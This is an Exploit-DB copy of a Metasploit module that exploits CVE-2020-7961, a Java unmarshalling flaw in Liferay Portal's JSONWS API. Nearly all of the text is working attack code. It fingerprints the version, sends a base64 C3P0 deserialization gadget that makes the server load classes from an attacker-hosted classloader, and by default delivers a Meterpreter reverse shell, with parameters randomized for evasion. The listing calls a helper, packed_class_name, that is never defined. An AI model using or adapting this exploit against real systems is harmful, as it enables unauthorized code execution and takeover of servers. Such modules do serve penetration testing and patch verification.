Liferay Portal – Java Unmarshalling via JSONWS RCE (Metasploit)

  • 作者: Metasploit
    日期: 2020-04-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48332/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Java::HTTP::ClassLoader
    include Msf::Exploit::Remote::AutoCheck
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE',
    'Description'=> %q{
    This module exploits a Java unmarshalling vulnerability via JSONWS in
    Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2
    to execute code as the Liferay user. Tested against 7.2.0 GA1.
    },
    'Author' => [
    'Markus Wulftange', # Discovery
    'Thomas Etrillard', # PoC
    'wvu' # Module
    ],
    'References' => [
    ['CVE', '2020-7961'],
    ['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'],
    ['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html'],
    ['URL', 'https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271']
    ],
    'DisclosureDate' => '2019-11-25', # Vendor advisory
    'License'=> MSF_LICENSE,
    'Platform' => 'java',
    'Arch' => ARCH_JAVA,
    'Privileged' => false,
    'Targets'=> [
    ['Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2', {}]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'},
    'Notes'=> {
    'Stability'=> [CRASH_SAFE],
    'Reliability'=> [REPEATABLE_SESSION],
    'SideEffects'=> [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
    }
    ))
    
    register_options([
    Opt::RPORT(8080),
    OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
    end
    
    def check
    # GET / response contains a Liferay-Portal header with version information
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path)
    )
    
    unless res
    return CheckCode::Unknown('Target did not respond to check request.')
    end
    
    unless res.headers['Liferay-Portal']
    return CheckCode::Unknown(
    'Target did not respond with Liferay-Portal header.'
    )
    end
    
    =begin
    Building the Liferay-Portal header:
    https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java
    Liferay-Portal header data:
    https://github.com/liferay/liferay-portal/blob/master/release.properties
    
    Example GET / response:
    HTTP/1.1 200
    [snip]
    Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019)
    [snip]
    =end
    version, build = res.headers['Liferay-Portal'].scan(
    /^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/
    ).flatten
    
    unless version && (build = Integer(build) rescue nil)
    return CheckCode::Detected(
    'Target did not respond with Liferay version and build.'
    )
    end
    
    # XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched
    if build < 7201
    return CheckCode::Appears(
    "Liferay #{version} MAY be a vulnerable version. Please verify."
    )
    end
    
    CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
    end
    
    def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super
    
    # Start our HTTP server to provide remote classloading
    @classloader_uri = start_service
    
    unless @classloader_uri
    fail_with(Failure::BadConfig, 'Could not start remote classloader server')
    end
    
    print_good("Started remote classloader server at #{@classloader_uri}")
    
    # Send our remote classloader gadget to the target, triggering the vuln
    send_request_gadget(
    normalize_uri(target_uri.path, '/api/jsonws/expandocolumn/update-column'),
    # Required POST parameters for /api/jsonws/expandocolumn/update-column:
    # https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java
    'columnId' => rand(8..42), # Randomize for "evasion"
    'name' => rand(8..42), # Randomize for "evasion"
    'type' => rand(8..42)# Randomize for "evasion"
    )
    end
    
    # Convenience method to send our gadget to a URI with desired POST params
    def send_request_gadget(uri, vars_post = {})
    print_status("Sending remote classloader gadget to #{full_uri(uri)}")
    
    vars_post['+defaultData'] =
    'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource'
    
    vars_post['defaultData.userOverridesAsString'] =
    "HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};"
    
    send_request_cgi({
    'method'=> 'POST',
    'uri' => uri,
    'vars_post' => vars_post
    }, 0)
    end
    
    # Generate all marshalsec payloads for the Jackson marshaller:
    # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a
    def go_go_gadget
    # Implementation of the Jackson marshaller's C3P0WrapperConnPool gadget:
    # https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java
    gadget = Rex::Text.decode_base64(
    <<~EOF
    rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl
    cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p
    bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly
    ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p
    bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA
    DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0
    aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv
    AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0
    ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7
    kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQABEhBQ0t0AANUSEV0AAZQTEFORVQ=
    EOF
    )
    
    # Replace length-prefixed placeholder strings with our own
    gadget.sub!("\x00\x04HACK",packed_class_name)
    gadget.sub!("\x00\x03THE", packed_classloader_uri)
    gadget.sub("\x00\x06PLANET", packed_class_name)
    end
    
    # Convenience method to pack the classloader URI as a length-prefixed string
    def packed_classloader_uri
    "#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
    end
    
    end